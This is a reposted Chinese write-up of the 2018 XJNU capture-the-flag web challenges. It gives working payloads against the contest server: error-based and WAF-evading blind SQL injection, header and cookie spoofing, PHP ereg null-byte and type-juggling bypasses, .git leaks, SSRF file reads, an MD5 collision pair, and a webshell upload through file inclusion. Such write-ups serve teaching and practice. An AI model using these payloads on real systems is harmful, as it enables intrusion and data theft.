2018 XJNU CTF Web Writeup

栏目: 服务器 · Apache · 发布时间: 6年前

内容简介:比较简单的新疆师范大学的 CTF 比赛 http://ctf.xjnu.edu.cn/整个网站疯狂暗示使用 sqlmap,然后网站源代码中有这样一段然后在链接中加上

比较简单的新疆师范大学的 CTF 比赛 http://ctf.xjnu.edu.cn/

Web10

整个网站疯狂暗示使用 sqlmap,然后网站源代码中有这样一段

<!-- id=1 -->

然后在链接中加上 ?id=1 进行测试,出现了不同的返回。

初步判断 SQL 语句为:

select xxx from xxx where id=1

然后没有做任何的过滤,并且报错直接显示出来,因此使用报错注入。

http://ctf.xjnu.edu.cn:9900/web10/?id=1%20and%20extractvalue(1,concat(0x7e,(select%20flag%20from%20flag),0x7e))

XPATH syntax error: '~flag{Test_y0u_sql_Inject!}~'

Web20

直接访问题目地址

> http http://ctf.xjnu.edu.cn:9900/web20/
HTTP/1.1 200 OK
Connection: Keep-Alive
Content-Length: 21
Content-Type: text/html; charset=UTF-8
Date: Thu, 20 Sep 2018 15:39:57 GMT
Keep-Alive: timeout=5, max=100
Server: Apache/2.4.7 (Ubuntu)
Set-Cookie: login=0
X-Powered-By: PHP/5.5.9-1ubuntu4.21

你不属于这里!

然后目测是 XFF 判断本地

> http http://ctf.xjnu.edu.cn:9900/web20/ X-Forwarded-For:127.0.0.1
HTTP/1.1 200 OK
Connection: Keep-Alive
Content-Length: 24
Content-Type: text/html; charset=UTF-8
Date: Thu, 20 Sep 2018 15:44:55 GMT
Keep-Alive: timeout=5, max=100
Server: Apache/2.4.7 (Ubuntu)
Set-Cookie: login=0
X-Powered-By: PHP/5.5.9-1ubuntu4.21

你还没有登录呢?

然后看到服务器给我们 Set 了一个 Cookie,修改为 1

> http http://ctf.xjnu.edu.cn:9900/web20/ X-Forwarded-For:127.0.0.1 Cookie:login=1
HTTP/1.1 200 OK
Connection: Keep-Alive
Content-Length: 31
Content-Type: text/html; charset=UTF-8
Date: Thu, 20 Sep 2018 15:46:00 GMT
Keep-Alive: timeout=5, max=100
Server: Apache/2.4.7 (Ubuntu)
Set-Cookie: login=0
X-Powered-By: PHP/5.5.9-1ubuntu4.21

很可惜你不是iPhone OS 999

然后去网上找了个 iPhone 的 User-Agent,并且改成了 iPhone OS 999

> http http://ctf.xjnu.edu.cn:9900/web20/ X-Forwarded-For:127.0.0.1 Cookie:login=1 User-Agent:"Mozilla/5.0 (iPhone; CPU iPhone OS 999 like Mac OS X) AppleWebKit/604.1.34 Safari/604.1"
HTTP/1.1 200 OK
Connection: Keep-Alive
Content-Length: 28
Content-Type: text/html; charset=UTF-8
Date: Thu, 20 Sep 2018 15:50:17 GMT
Keep-Alive: timeout=5, max=100
Server: Apache/2.4.7 (Ubuntu)
Set-Cookie: login=0
X-Powered-By: PHP/5.5.9-1ubuntu4.21
flag: flag{h77p_He4dEr_50_E4sy}

<!-- flag not in html... -->

Web30

提示:小明 shell 下的编辑器用的比较 6

因此判断应该存在 shell 下运行编辑器时意外退出所留下的备份文件,扫描后发现了这个地址

http://ctf.xjnu.edu.cn:9900/web30/.index.php.swo

<?php
$get = $_GET['ctf'];
if ($get == '!#?&@') {
    echo '<p> class="alert">Go on!</p>';
} else {
    exit();
}
if (isset($_GET['password'])) {
    if (ereg("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE) echo '<p class="alert">You password is error,must be test others</p>';
    else if (strpos($_GET['password'], '--') !== FALSE){
        $a = @$_GET['xjnu'];
        $v1 = 0;
        if (is_array($a)) {
            is_numeric(@$a["bar1"]) ? die("No way!") : NULL;
            if (@$a["bar1"]) {
                ($a["bar1"] > 2016) ? $v1 = 1 : NULL;
            }
            if (is_array(@$a["bar2"])) {
                if (count($a["bar2"]) !== 3 or !is_array($a["bar2"][0])) die("No way!");
                foreach ($a["bar2"] as $key => $val) {
                    if (preg_match('/2018/', $val)) {
                        die('No way!');
                    }
                    if ($val == 2018) {
                        die($flag);
                    }
                }
            }
        }
    }
    else echo '<p class="alert">Invalid password</p>';
}

首先要满足的条件是 get 中的 ctf 参数为 !#?&@ ,而默认情况下 # 以及其后面的东西不会被当成参数传递给服务器,所以我直接用 python 写参数了

>>> requests.get('http://ctf.xjnu.edu.cn:9900/web30/',params={'ctf':'!#?&@'}).text
'<p class="alert">Go on!</p>'

ereg 方法存在 %00 截断漏洞,因此可以将 password 分为两部分,前面一部分是符合正则条件的字符,后面再加上 -- 满足第二个要求

>>> requests.get('http://ctf.xjnu.edu.cn:9900/web30/',params={'ctf':'!#?&@','password':'0'+chr(0)+'--'}).text
'<p class="alert">Go on!</p>'

然后参数 xjnu 需要是一个数组,数组中的 bar1 不能是数字但是他要大于 2016,这里我们将 bar1 设置为 2017a ,根据 PHP 特色, '2017a'>2016

>>> requests.get('http://ctf.xjnu.edu.cn:9900/web30/',params={'ctf':'!#?&@','password':'0'+chr(0)+'--','xjnu[bar1]':'2017a'}).text
'<p class="alert">Go on!</p>'

然后 bar2 需要是一个数组,并且他的第一个元素也是一个数组,并且他有三个元素。此外 bar2 中还需要有一个元素等于 2018,但是其元素本身不允许存在字符 2018,因此这里用十六进制来表示

>>> requests.get('http://ctf.xjnu.edu.cn:9900/web30/',params={'ctf':'!#?&@','password':'0'+chr(0)+'--','xjnu[bar1]':'2017a','xjnu[bar2][0][]':'0','xjnu[bar2][1]':'1','xjnu[bar2][2]':'0x7E2'}).text
'<p class="alert">Go on!</p>flag{Php_iS_Mag1c!}'

Web40

题目没有给太多的提示,简单扫描之后发现了 .git 文件夹,通过 GitHack 找到了两个文件

> cat flag_2333_666.php
<?php
//$flag="{.git_H0w_Many_Y0u_kn0w!}"

> cat index.php
<?php
echo "flag is here";

将 flag 拼凑成固定的格式即得: flag{.git_H0w_Many_Y0u_kn0w!}

Web50

题目是一个登录界面,源代码中有提示,注入方向应该是密码列:

<!-- password  columns-->

用户名存在但密码错误会返回 pass error

用户名不存在会返回 no such user

预计其使用了类似的 SQL 语句

select * from xxx where username='admin'

存在 WAF,过滤了如下:

  • 空格
  • select
  • union
  • and
  • mid
  • ascii
  • from
  • order
  • by
  • 井号(#)
  • sleep
  • substr

构建注入代码

a'/**/or/**/'1'='1

返回了 pass error ,说明存在注入

进一步构造,使用 left 函数逐位检查密码,丢入 Burpsuite 进行批量检查,例如

a'/**/or/**/left(password,1)='5

2018 XJNU CTF Web Writeup

最终得到 32 位的密码,登录即可得 Flag

5781865f070113b76a9f40d48944d52b

flag{Waf_is_N0t_Exits!}

Web60

Hint: whois 找不到信息,也可以使用 ip 地址进行 whois 的吧

打开题目,源代码中有这样一段

<!-- [Redacted]!网址www.nk-[Redacted].com:2018) -->

然后看了看当前页面端口是 2017,直接改成 2018 就打开了另外一个页面

既然你费了这么大的劲来到了这里,我就直接告诉你,我们已经掌握了你们学校主站点的申请人的邮箱地址,需要你再次确认此邮箱是否正确,方能加入我们!

让我们输入一个邮箱,结合提示, whois 218.195.132.22

输入 redrose@xj.cninfo.net 即可以进行下一步

有一个 geturl 的按钮,有一个输入网址的地方,目测是一个 SSRF

输入了 aaaa://index.php 提交,然后奇迹发生了

if (preg_match('/index.php|flag_ssRf.php|etc/', $link)) {
    # code...
    echo file_get_contents(substr($link, 7));
}

大概的设计是输入 http:// 开头的使用 curl 请求,包含了 index.php 这三个文件的直接读物文件内容并输出,因此顺利拿到 flag

Web80

一打开题目就提示 Git Revenge Come on 了,直接使用 GitHack,然后只能下载到 index.php,然而并没有什么用,所以直接将整个 .git 文件夹下了下来

commit bcf528e51e475cf22e864b7cbb7f1770124cc006 (HEAD -> master)
Author: Huseck <504038236@qq.com>
Date:   Wed Sep 19 20:02:51 2018 +0800

    remove something

commit bbb02a35384a81b4c003ce3e4ae03246b3638de0
Author: Huseck <504038236@qq.com>
Date:   Wed Sep 19 20:01:59 2018 +0800

    xjseck

发现有两个 commit,切换到第一个就能看到有三个文件了

flag Revenge 2333333.php

<?php
include 'flag.php';
if((string)$_POST['param1']!==(string)$_POST['param2'] && md5($_POST['param1'])===md5($_POST['param2'])){
                    die($flag);
                }
highlight_file(__FILE__);

和上面那题使用的 GitHack 一样,考查 PHP 的特性,我们需要提交两个名字不一样但是 MD5 一样的玩意,通常我直接使用下面这个文件,使用 hexedit 直接写入成文件就好了,然后提交过去就能得到 flag

文件 1:

4dc968ff0ee35c209572d4777b721587
d36fa7b21bdc56b74a3dc0783e7b9518
afbfa200a8284bf36e8e4b55b35f4275
93d849676da0d1555d8360fb5f07fea2

文件 2:

4dc968ff0ee35c209572d4777b721587
d36fa7b21bdc56b74a3dc0783e7b9518
afbfa202a8284bf36e8e4b55b35f4275
93d849676da0d1d55d8360fb5f07fea2

Web100

打开题目跳转到 http://ctf.xjnu.edu.cn:666/index.php?file=upload.php

目测就存在文件包含漏洞。

没什么难度,生成一个文件名为 .png 的一句话,上传,包含,搞定


以上所述就是小编给大家介绍的《2018 XJNU CTF Web Writeup》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

Inside Larry's and Sergey's Brain

Inside Larry's and Sergey's Brain

Richard Brandt / Portfolio / 17 Sep 2009 / USD 24.95

You’ve used their products. You’ve heard about their skyrocketing wealth and “don’t be evil” business motto. But how much do you really know about Google’s founders, Larry Page and Sergey Brin? Inside......一起来看看 《Inside Larry's and Sergey's Brain》 这本书的介绍吧!

在线进制转换器
在线进制转换器

各进制数互转换器

XML、JSON 在线转换
XML、JSON 在线转换

在线XML、JSON转换工具

Markdown 在线编辑器
Markdown 在线编辑器

Markdown 在线编辑器